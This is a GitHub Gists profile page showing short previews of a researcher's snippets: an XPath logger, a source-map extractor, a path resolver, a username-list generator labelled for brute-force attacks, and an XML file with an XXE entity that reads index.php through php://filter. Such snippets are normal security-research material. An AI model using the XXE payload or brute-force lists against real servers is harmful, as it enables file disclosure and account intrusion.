Skip to content

Instantly share code, notes, and snippets.

View johnsaigle's full-sized avatar
👹

John Saigle johnsaigle

👹
  • Asymmetric Research
View GitHub Profile
@johnsaigle
johnsaigle / xpath-matches.js
Created August 23, 2024 16:20
Easily log elements that match an XPath selector
// Easily log elements that match an XPath selector
selector = ''
// Using var in case you mess up the selector and want to run this again.
// using let or const instead will create re-declaration errors.
var matches = document.evaluate(
selector,
document,
null,
XPathResult.ANY_TYPE,
@johnsaigle
johnsaigle / namemash.py
Created December 16, 2021 01:30 — forked from superkojiman/namemash.py
Creating a user name list for brute force attacks.
#!/usr/bin/env python
import sys
import os.path
if __name__ == "__main__":
if len(sys.argv) != 2:
print("usage: {} names.txt".format((sys.argv[0])))
sys.exit(0)
if not os.path.exists(sys.argv[1]):
@johnsaigle
johnsaigle / extract_mapjs.php
Created March 15, 2021 19:39 — forked from Sturtuk/extract_mapjs.php
Extract source code & directories from the javascript .map files
<?php
/**
* Created by PhpStorm.
* User: edwinsturt
* Date: 2020-06-24
* Time: 00:45
*/
$file = 'main.ff0058ad.js.map';
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" > ]>
<rss version="2.0">
<channel>
<title>W3Schools Home Page</title>
<link>https://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>&xxe;</title>
@johnsaigle
johnsaigle / resolve_path.php
Last active June 27, 2017 19:02
PHP realpath() alternative (free software)
<?php
/**
* Effectively resolve '..' characters in a file path
* @license GPLv3
*/
function resolvePath($path)
{
$resolvedPath = array();
// do some normalization
$path = str_replace('//', '/', $path);